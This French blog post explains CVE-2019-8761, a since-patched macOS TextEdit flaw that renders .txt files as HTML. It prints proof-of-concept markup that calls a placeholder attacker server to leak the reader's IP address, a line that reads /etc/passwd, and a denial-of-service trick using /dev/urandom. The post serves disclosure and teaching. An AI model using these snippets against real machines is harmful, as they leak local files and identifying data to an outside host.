Skip to content
Korben, roi d’internet, logo bébé avec des lunettes en mode thug life

Pourquoi ouvrir un fichier texte .TXT peut être risqué ?

Tu aurais voulu découvrir cette astuce avant tout le monde ? Alors rejoins-moi sur Patreon !

Il y a parfois des concepts fondamentaux qui sont bien remis en question par les hackers ! Et heureusement !

Prenons par exemple un fichier .TXT… Quoi de plus innocent que ce format texte ? D’ailleurs, c’est tellement safe que certains antivirus ou firewalls ne le considèrent même pas comme une menace potentielle. Même Gatekeeper qui est le système de quarantaine de macOS ne s’y intéresse pas, même si vous avez téléchargé le fichier à partir d’un site douteux.

Seulement voilà, c’était sans compter sur Paulos Yibelo, un hacker qui a trouvé le moyen de faire fuiter de la donnée locale vers l’extérieur à partir d’un simple fichier texte. La faute de TextEdit sous macOS qui pour une raison obscure interprète les fichiers .TXT qui contiennent du HTML ou du RTF. Donc si vous avez un fichier.txt qui contient du HTML, il l’ouvrira comme une page web avec la mise en page et tout et tout.

C’est donc une bonne opportunité pour un attaquant qui peut alors faire interpréter du HTML et de la CSS dans TextEdit en envoyant un .txt à sa victime.

Oui mais ?

Alors déjà, en procédant ainsi, il contourne comme je le disais la sécurité GateKeeper de macOS. Ensuite, en utilisant les modèles HTTPLeaks proposés par Cure53, il a trouvé un moyen d’appeler un fichier tiers dans ce HTML.

Pour cela, il a utilisé la balise HTML qu’on utilise le plus souvent pour importer des feuilles de style (CSS) :

<style> @import {"url"} </style>

Sauf que vous vous en doutez, il est possible d’importer uniquement des fichiers locaux, dont l’URL commence par file:/// (http(s):// ne fonctionne pas).

Déjà rien qu’avec ça, il peut provoquer un DoS (déni de service) sur la machine en incluant un flux de données infini comme /dev/urandom ou /dev/zero. Mais Paulos a cherché à aller plus loin et a utiliser la fonction AutoMount qui permet d’appeler des fichiers distants avec file:///.

Si vous faites une requête vers file:///net/korben.info, et bien, ça ira taper sur mon site avec une bonne vieille requête TCP. Merci AutoMount !! 😉

Il a donc concocté un fichier texte contenant le code suivant qui appelle donc le fichier a.css sur un serveur distant :

<!DOCTYPE HTML>
<html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>
I know where you are...</body></html>

Et ça passe puisque lui de son côté, peut récupérer l’IP de la personne qui a ouvert le document .txt à partir des requêtes effectuées :

Un autre truc sympa avec le HTML, c’est la balise <framedoc/> qui permet d’injecter dans une page HTML le contenu d’un fichier tiers. On peut par exemple afficher le contenu du fichier /etc/passwd ou le /etc/shadow comme ceci :

<iframedoc src="file:///etc/passwd">

Sympa non ? À partir de ces deux éléments, <framedoc/> et <style/>, il devient alors possible de faire fuiter des données, en les passant par exemple en paramètre des URLs distantes appelées.

Et voilà comment à partir d’une application qui normalement est 100% offline, on peut réussir à faire sortir de la donnée à l’insu de quelqu’un à l’aide d’un fichier totalement innocent comme le .txt

Apple a été informé de cette faille en 2019 et elle a été corrigée en 2020. Vous la trouverez sous le code CVE-2019-8761.


Les articles du moment